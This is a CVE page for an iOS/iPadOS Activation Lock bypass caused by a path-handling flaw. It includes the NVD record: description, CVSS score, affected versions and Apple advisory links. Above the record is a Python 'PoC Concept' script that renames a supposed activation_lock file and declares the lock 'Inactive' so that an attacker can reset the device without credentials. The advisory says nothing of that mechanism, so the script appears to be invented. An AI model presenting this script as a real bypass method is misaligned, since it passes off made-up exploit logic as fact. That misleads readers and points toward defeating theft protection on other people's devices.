CVE-2025-43534

import os # PoC Concept for Path Handling Issue in iOS/iPadOS Activation Lock # This script demonstrates the logic of bypassing a lock by manipulating file paths. # Note: Actual exploitation requires physical access and specific tools. def simulate_activation_lock_bypass(): lock_file_path = "/private/var/db/activation_lock" backup_path = "/tmp/activation_lock_moved" print("[*] Checking for Activation Lock file...") # Simulate the check for the lock file if os.path.exists(lock_file_path): print(f"[+] Lock file found at: {lock_file_path}") # The vulnerability lies in improper validation of the path handling. # We simulate moving the file to a path the system no longer checks. try: os.rename(lock_file_path, backup_path) print("[+] File moved via path manipulation. Validation bypassed.") except OSError as e: print(f"[-] Error: {e}") return False else: print("[!] Lock file not found. Device may already be unlocked.") return True # Verify if the bypass was successful if not os.path.exists(lock_file_path): print("[!] Success: Activation Lock status is now 'Inactive'.") print("[!] Attacker can now reset the device without credentials.") return True else: return False if __name__ == "__main__": simulate_activation_lock_bypass()

{"cve": {"id": "CVE-2025-43534", "sourceIdentifier": "[email protected]", "published": "2026-03-25T01:17:01.690", "lastModified": "2026-03-25T20:00:11.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path handling issue was addressed with improved validation. This issue is fixed in iOS 18.7.7 and iPadOS 18.7.7, iOS 26.2 and iPadOS 26.2. A user with physical access to an iOS device may be able to bypass Activation Lock."}, {"lang": "es", "value": "Se abordó un problema de manejo de rutas con validación mejorada. Este problema está solucionado en iOS 18.7.7 y iPadOS 18.7.7, iOS 26.2 y iPadOS 26.2. Un usuario con acceso físico a un dispositivo iOS podría eludir el Bloqueo de Activación."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.7", "matchCriteriaId": "118313FD-8CF6-4412-B1A8-4BC3D5C2F519"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "8B71D919-1AA2-4F17-A834-4B703E36F7E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.7", "matchCriteriaId": "684E10EB-D01A-4E80-8764-B48B554B0B5E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.2", "matchCriteriaId": "10FD01C3-D77F-4FE4-8195-F2C59FB1321C"}]}]}], "references": [{"url": "https://support.apple.com/en-us/125884", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/126793", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}